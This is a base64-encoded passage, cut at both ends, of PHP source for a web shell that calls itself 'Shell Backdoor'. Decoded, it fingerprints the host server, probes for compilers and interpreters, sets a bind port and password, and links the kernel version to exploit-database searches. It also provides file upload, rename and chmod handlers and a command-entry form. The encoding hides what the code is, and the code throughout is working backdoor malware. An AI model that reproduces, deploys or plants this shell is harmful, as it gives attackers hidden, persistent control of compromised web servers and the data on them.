WxlKS4iLmd6XCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9Ci8vIHZpZXcgaW1hZ2UKaWYoaXNzZXQoJF9HRVRbJ2ltZyddKSl7CiAgICAgICAgQG9iX2NsZWFuKCk7IAogICAgICAgICRkID0gbWFnaWNib29tKCRfR0VUWyd5J10pOwogICAgICAgICRmID0gJF9HRVRbJ2ltZyddOwogICAgICAgICRpbmYgPSBAZ2V0aW1hZ2VzaXplKCRkLiRmKTsgCiAgICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsgCiAgICAgICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07IAogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOwogICAgICAgIEBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IHB1YmxpYyIpOyAKICAgICAgICBAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsgCiAgICAgICAgQGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7ICAKICAgICAgICBAcmVhZGZpbGUoJGQuJGYpOyAKICAgICAgICBleGl0OyAKfQovL3BocCBpbmZvCiRwaHBpbmZvID0gIj8mYW1wO3g9cGhwaW5mbyI7Ci8vIFNlcnZlciBzb2Z0d2FyZQoKJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKLy8gQ01ECiRjbWRib3ggPSAiaGVscCI7Ci8vIFNlcnZlciBQb3J0CiRzZXJ2ZXJwb3J0ID0gJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl07Ci8vIEJhY2tkb29yIE5hbWUKJGJhY2tkb29yX25hbWUgPSAiJHRpdGxlICI7Ci8vIGNoZWNrIHNhZmVtb2RlCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpICAkc2FmZW1vZGUgPSBUUlVFOyBlbHNlICRzYWZlbW9kZSA9IEZBTFNFOwovLyB1bmFtZSAtYQokc3lzdGVtID0gQHBocF91bmFtZSgpOwovLyBkZXRlY3RvcgpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5PRkY8L2ZvbnQ+PC9iPiI7fX0KZnVuY3Rpb24gdGVzdG15c3FsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0Y3VybCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7IH1lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9fQpmdW5jdGlvbiB0ZXN0bXNzcWwoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkge3JldHVybiBzaG93c3RhdCgib24iKTsgfWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7IH19CmZ1bmN0aW9uIHRlc3RwZXJsKCkge2lmIChleGUoJ3BlcmwgLWgnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0cHl0aG9uKCkge2lmIChleGUoJ3B5dGhvbiAtaCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RydWJ5KCkge2lmIChleGUoJ3J1YnkgLWgnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0Z2NjKCkge2lmIChleGUoJ2djYyAtLWhlbHAnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0amF2YSgpIHtpZiAoZXhlKCdqYXZhIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0KLy8gY2hlY2sgb3MKaWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikgJHdpbiA9IFRSVUU7CmVsc2UgJHdpbiA9IEZBTFNFOyAKLy8gY2hhbmdlIGRpcmVjdG9yeQppZihpc3NldCgkX0dFVFsneSddKSl7CiAgICBpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXsKICAgICAgICAkcHdkID0gJF9HRVRbJ3ZpZXcnXTsKICAgICAgICBAY2hkaXIoJHB3ZCk7CiAgICB9CiAgICBlbHNlewogICAgICAgICRwd2QgPSAkX0dFVFsneSddOwogICAgICAgIEBjaGRpcigkcHdkKTsKICAgIH0KfQovL2hkZApmdW5jdGlvbiBjb252ZXJ0Qnl0ZSgkcykgewppZigkczw9MCkgcmV0dXJuIDA7CiAgICAkdyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOwogICAgJGUgPSBmbG9vcihsb2coJHMpL2xvZygxMDI0KSk7CiAgICByZXR1cm4gc3ByaW50ZignJS4yZiAnLiR3WyRlXSwgKCRzL3BvdygxMDI0LCBmbG9vcigkZSkpKSk7Cn0KLy8KCi8vIHVzZXJuYW1lLCBpZCwgc2hlbGwgcHJvbXB0IGFuZCB3b3JraW5nIGRpcmVjdG9yeQppZighJHdpbil7CiAgICBpZighJHVzZXIgPSByYXBpaChleGUoIndob2FtaSIpKSkgJHVzZXIgPSAiIjsKICAgIGlmKCEkaWQgPSByYXBpaChleGUoImlkIikpKSAkaWQgPSAiIjsKICAgICRwcm9tcHQgPSAkdXNlci4iIFwkICI7CiAgICAkcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7Cn0KZWxzZSB7CiAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAkaWQgPSAkdXNlcjsKICAgICRwcm9tcHQgPSAkdXNlci4iICZndDsiOwogICAgJHB3ZCA9IHJlYWxwYXRoKCIuIikuIlxcIjsKICAgIC8vIGZpbmQgZHJpdmUgbGV0dGVycwogICAgJHYgPSBleHBsb2RlKCJcXCIsJGQpOyAKICAgICR2ID0gJHZbMF07IAogICAgZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgCiAgICB7IAogICAgICAkYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7CiAgICAgIGlmICgkYm9vbCkgCiAgICAgIHsgCiAgICAgICAgICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIj95PSIuJGxldHRlci4iOlxcXCI+WyAiOwogICAgICAgICAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSAKICAgICAgICAgICBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9XCJnYXlhXCI+Ii4kbGV0dGVyLiI8L3NwYW4+Ijt9IAogICAgICAgICAgICRsZXR0ZXJzIC49ICIgPC9hPl0gIjsgCiAgICAgIH0gIAogfSAKfQoKZnVuY3Rpb24gZ2V0cmVhbGlwKCl7CmlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pKQp7ICRpcD0kX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsgCn1lbHNlaWYgKCFlbXB0eSgkU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkKLy9UTyBDSEVLIElQIElTIFBBU1MgRlJPTSBQUk9YWQp7ICRpcD0kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsKfWVsc2UgeyAkaXA9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cn0KcmV0dXJuICRpcDsKfQoKIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgewogICAgaWYgKCRkaXNhYmxlZnVuYz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSl7IHJldHVybiAiPHNwYW4gc3R5bGU9J2NvbG9yOiNmZjAwMDAnPjxiPiIuJGRpc2FibGVmdW5jLiI8L2I+PC9zcGFuPiI7IH0KICAgIGVsc2UgeyByZXR1cm4gIjxzcGFuIHN0eWxlPSdjb2xvcjojMDBGRjAwJz48Yj5OT05FPC9iPjwvc3Bhbj4iOyB9CiAgICB9CiAgICAKaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsKZWxzZSAkcG9zaXggPSBGQUxTRTsKLy8gc2VydmVyIGlwCiRzZXJ2ZXJfaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwovLyB5b3VyIGlwIDstKQokbXlfaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKJGFkbWluX2lkPSRfU0VSVkVSWydTRVJWRVJfQURNSU4nXTsKJGJpbmRwb3J0ID0gIjEzMTIzIjsKJGJpbmRwb3J0X3Bhc3MgPSAiZXhwbG9kZWQiOwovLyBTZWN1cml0eSBFeHBsb2RlZAokdXBsaW5rID0gImh0dHA6Ly93d3cuc2VjdXJpdHktZXhwbG9kZWQub3JnL3NlYXJjaC9sYWJlbC9FeHBsb2RlZCBTaGVsbCBCYWNrZG9vciI7Ci8vd2lsd29ybQokcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICAkbWlsbGluaz0naHR0cDovL21pbHcwcm0uY29tL3NlYXJjaC5waHA/ZG9uZz0nOwogICAgCiAgICBpZiggc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSApCiAgICAgICAgJG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSApOwogICAgZWxzZQogICAgICAgICRtaWxsaW5rIC49IHVybGVuY29kZSggJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpICk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgIC8vIEV4cGxvaXQtZGIKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKICAgICRleHBsaW5rID0gJ2h0dHA6Ly9leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX2Rlc2NyaXB0aW9uPSc7CiAgICAKICAgIGlmKCBzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlICkKICAgICAgICAkZXhwbGluayAuPSB1cmxlbmNvZGUoICdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpICk7CiAgICBlbHNlCiAgICAgICAgJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCAka2VybmVsIC4gJyAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsMykgKTsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAkdWlkID0gQGdldG15dWlkKCk7CiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOwogICAgfQovLyBzZXBhcmF0ZSB0aGUgd29ya2luZyBkaXJlY290b3J5CiRwd2RzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRwd2QpOwokcHdkdXJsID0gIiI7CmZvcigkaSA9IDAgOyAkaSA8IHNpemVvZigkcHdkcyktMSA7ICRpKyspewogICAgJHBhdGh6ID0gIiI7CiAgICBmb3IoJGogPSAwIDsgJGogPD0gJGkgOyAkaisrKXsKICAgICAgICAkcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7CiAgICB9CiAgICAkcHdkdXJsIC49ICI8YSBocmVmPVwiP3k9Ii4kcGF0aHouIlwiPiIuJHB3ZHNbJGldLiIgIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiIgPC9hPiI7Cn0KICAgIAovLyBSZW5hbWUgZmlsZSBvciBmb2xkZXIKaWYoaXNzZXQoJF9QT1NUWydSZW5hbWUnXSkpewogICAgJG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOwogICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwogICAgQFJlbmFtZSgkcHdkLiRvbGQsJHB3ZC4kbmV3KTsKICAgICRmaWxlID0gJHB3ZC4kbmV3Owp9CmlmKGlzc2V0KCRfUE9TVFsndXBsb2FkY29tcHQnXSkpewogICAgaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkcGF0aCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRwaW5kYWggPSAkcGF0aC4kZm5hbWU7IAogICAgICAgICRzdGF0ID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsJHBpbmRhaCk7fQogICAgICAgIH0KCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsKaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnJzsgfQplbHNlIHsgZWNobyAnJzsgfQp9CmlmKGlzc2V0KCRfUE9TVFsnQ2htb2QnXSkpeyAKICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CiAgICAkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQogICAgQENobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwogICAgJGZpbGUgPSAkcHdkLiRuYW1lO30gICAgCmlmKGlzc2V0KCRfUE9TVFsnQ2htb2RfZm9sZGVyJ10pKXsKICAgICRuYW1lID0gJF9QT1NUWyduYW1lJ107CiAgICAkdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107CmlmIChzdHJsZW4oJHZhbHVlKT09Myl7CiAgICAkdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fQogICAgQENobW9kKCRwd2QuJG5hbWUsb2N0ZGVjKCR2YWx1ZSkpOwogICAgJGZpbGUgPSAkcHdkLiRuYW1lO30KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KLy8gcHJpbnQgdXNlZnVsIGluZm8KCiRidWZmICA9ICJTaGVsbCBCYWNrZG9vciA6IDxiPjxmb250IHN0eWxlPSdjb2xvcjokY29sb3InPiAkYmFja2Rvb3JfbmFtZSAkdmVyc2k8L2ZvbnQ+PGI+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPjwvYT48L2I+PC9iPjwvZm9udD48Yj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+PGEgaHJlZj0nJHVwbGluaycgdGl0bGU9J1NlYXJjaCBTaGVsbCBCYWNrZG9vciBGcm9tIFNlY3VyaXR5IEV4cGxvZGVkJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlsgU2VjdXJpdHkgRXhwbG9kZWQgXTwvYT48L2I+PC9mb250Pjxicj5WZXJzaW9uIDogPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiRjb2xvcic+Ii4kdmVyc2kuIjwvZm9udD48L2E+PC9iPjxicj4gU29mdHdhcmUgOiA8Yj4iLiRzb2Z0d2FyZS4iPC9iPjxiciAvPiI7CiRidWZmIC49ICJTeXN0ZW0gT1MgOiA8Yj4iLiRzeXN0ZW0uIiAgfCA8YSBocmVmPSdodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3E9Ii51cmxlbmNvZGUoQHBocF91bmFtZSgpKS4iJyB0aXRsZT0nU2VhcmNoIFN5c3RlbSBPUyBGcm9tIEdvb2dsZScgdGFyZ2V0PSdfYmxhbmsnPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIEdvb2dsZSBdPC9mb250PjwvYT4gfCA8YSBocmVmPSciLiRtaWxsaW5rLiInIHRpdGxlPSdTZWFyY2ggS2FybmVsIEZyb20gTWlsdzBybScgdGFyZ2V0PV9ibGFuaz48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+WyBNaWx3MHJtIF08L2ZvbnQ+PC9hPiB8IDxhIGhyZWY9JyIuJGV4cGxpbmsuIicgdGl0bGU9J1NlYXJjaCBLYXJuZWwgRnJvbSBFeHBsb2l0LWRiJyB0YXJnZXQ9X2JsYW5rPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIEV4cGxvaXQtZGIgXTwvZm9udD48L2E+PC9iPjxiciAvPiI7CmlmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIklEIDogPGI+Ii4kaWQuIjwvYj48YnIgLz4iOwokYnVmZiAuPSAiUEhQIFZlcnNpb24gOiA8Yj4iLnBocHZlcnNpb24oKS4iPC9iPiBPTiA8Yj4iLnBocF9zYXBpX25hbWUoKS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IHwgPC9zcGFuPjxhIGhyZWY9JyRwaHBpbmZvJyB0aXRsZT0nUEhQIEluZm8nPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIFBIUCBJbmZvIF08L2ZvbnQ+PC9hPiA8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIlNlcnZlciBJUCA6IDxiPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz4iLiRzZXJ2ZXJfaXAuIjwvZm9udD48L2I+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPiB8IDwvc3Bhbj4gUG9ydCBTZXJ2ZXIgOiA8Yj48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+Ii4kc2VydmVycG9ydC4iPC9mb250PjwvYj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+IFlvdXIgSVAgU3VydmluZyA6IDxiPjxhIGhyZWY9J2h0dHA6Ly93d3cuZG5zc3R1ZmYuY29tL3Rvb2xzP3J1bkZyb21NYWluPSIuZ2V0cmVhbGlwKCkuIiZ0b29sVHlwZT10cmFjZXJvdXRlJyB0aXRsZT0nVHJhY2Vyb3V0ZSBZb3VyIElQJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPiIuZ2V0cmVhbGlwKCkuIjxmb250PjwvYT48L2I+PHNwYW4gY2xhc3M9XCJnYXlhXCI+IHwgPC9zcGFuPiBBZG1pbiA6IDxiPiIuJGFkbWluX2lkLiI8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIkZyZWUgRGlzazogPGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPjxiPiIuY29udmVydEJ5dGUoZGlza19mcmVlX3NwYWNlKCIvIikpLiIgPHNwYW4gY2xhc3M9XCJnYXlhXCI+IC8gPC9zcGFuPiAiLmNvbnZlcnRCeXRlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvYj48L2ZvbnQ+PC9zcGFuPjxiciAvPiI7CmlmKCRzYWZlbW9kZSkgJGJ1ZmYgLj0gIlNhZmVtb2RlOiA8c3BhbiBjbGFzcz1cImdheWFcIj48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+PGI+T048L2I+PC9mb250Pjwvc3Bhbj48YnIgLz4iOwplbHNlICRidWZmIC49ICJTYWZlbW9kZTogPHNwYW4gY2xhc3M9XCJnYXlhXCI+PGI+T0ZGPC9iPjwvc3Bhbj48YnIgLz4iOwokYnVmZiAuPSAiRGlzYWJsZSBGdW5jdGlvbnM6ICIuc2hvd2Rpc2FibGVmdW5jdGlvbnMoKS4iPGJyIC8+IjsKJGJ1ZmYgLj0gIk15U1FMOiAiLnRlc3RteXNxbCgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7TVNTUUw6ICIudGVzdG1zc3FsKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtPcmFjbGU6ICIudGVzdG9yYWNsZSgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7UGVybDogIi50ZXN0cGVybCgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7UHl0aG9uOiAiLnRlc3RweXRob24oKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO1J1Ynk6ICIudGVzdHJ1YnkoKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO0phdmE6ICIudGVzdGphdmEoKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO0dDQzogIi50ZXN0Z2NjKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtjVVJMOiAiLnRlc3RjdXJsKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtXR2V0OiAiLnRlc3R3Z2V0KCkuIjxicj4iOwokYnVmZiAuPSI8Zm9udCBjb2xvcj0wMGZmMDAgPkRyaXZlIDogPGI+Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybC4iPC9iPjwvZm9udD4iOwoKCiBmdW5jdGlvbiByYXBpaCgkdGV4dCl7CiAgICByZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyIC8+IiwiIiwkdGV4dCkpOwp9CgpmdW5jdGlvbiBtYWdpY2Jvb20oJHRleHQpewogICAgaWYgKCFnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgICAgICAgIHJldHVybiAkdGV4dDsKICAgIH0gCiAgICByZXR1cm4gc3RyaXBzbGFzaGVzKCR0ZXh0KTsKfQoKZnVuY3Rpb24gc2hvd2RpcigkcHdkLCRwcm9tcHQpewogICAgJGZuYW1lID0gYXJyYXkoKTsKICAgICRkbmFtZSA9IGFycmF5KCk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpKSAkcG9zaXggPSBUUlVFOwogICAgZWxzZSAkcG9zaXggPSBGQUxTRTsKICAgICR1c2VyID0gIj8/Pz86Pz8/PyI7CiAgICBpZigkZGggPSBAc2NhbmRpcigkcHdkKSl7CiAgICAgICAgZm9yZWFjaCgkZGggYXMgJGZpbGUpewogICAgICAgICAgICBpZihpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRkbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRmbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAgIGlmKCRkaCA9IEBvcGVuZGlyKCRwd2QpKXsKICAgICAgICAgICAgd2hpbGUoJGZpbGUgPSBAcmVhZGRpcigkZGgpKXsKICAgICAgICAgICAgICAgIGlmKEBpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICAgICAkZG5hbWVbXSA9ICRmaWxlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmKEBpc19maWxlKCRmaWxlKSl7CiAgICAgICAgICAgICAgICAgICAgJGZuYW1lW10gPSAkZmlsZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBAY2xvc2VkaXIoJGRoKTsKICAgICAgICB9CiAgICB9CiAgICBzb3J0KCRmbmFtZSk7CiAgICBzb3J0KCRkbmFtZSk7CiAgICAkcGF0aCA9IEBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHB3ZCk7CiAgICAkdHJlZSA9IEBzaXplb2YoJHBhdGgpOwogICAgJHBhcmVudCA9ICIiOwogICAgJGJ1ZmYgPSAiPGNlbnRlcj4KICAgIDxmb3JtIGFjdGlvbj1cIj95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsXCIgbWV0aG9kPVwicG9zdFwiIHN0eWxlPVwibWFyZ2luOjhweCAwIDAgMDtcIj4KICAgIDx0YWJsZSBjbGFzcz1cImNtZGJveFwiIHN0eWxlPVwid2lkdGg6NDUlO1wiPgogICAgPHRyPjx0ZD48Yj4kcHJvbXB0PC9iPjwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImNtZFwiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1oZWxwIC8+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiR28gIVwiIG5hbWU9XCJzdWJtaXRjbWRcIiBzdHlsZT1cIndpZHRoOjgwcHg7XCIgLz48L3RkPjwvdHI+CiAgICA8L2Zvcm0+CiAgICA8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgc3R5bGU9XCJtYXJnaW46OHB4IDAgMCAwO1wiPgogICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgPHRyPjx0ZD48Yj5WaWV3IDwvYj48L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9XCJ0aGlzLmZvY3VzKCk7XCIgaWQ9XCJnb3RvXCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJ2aWV3XCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3ICFcIiBuYW1lPVwic3VibWl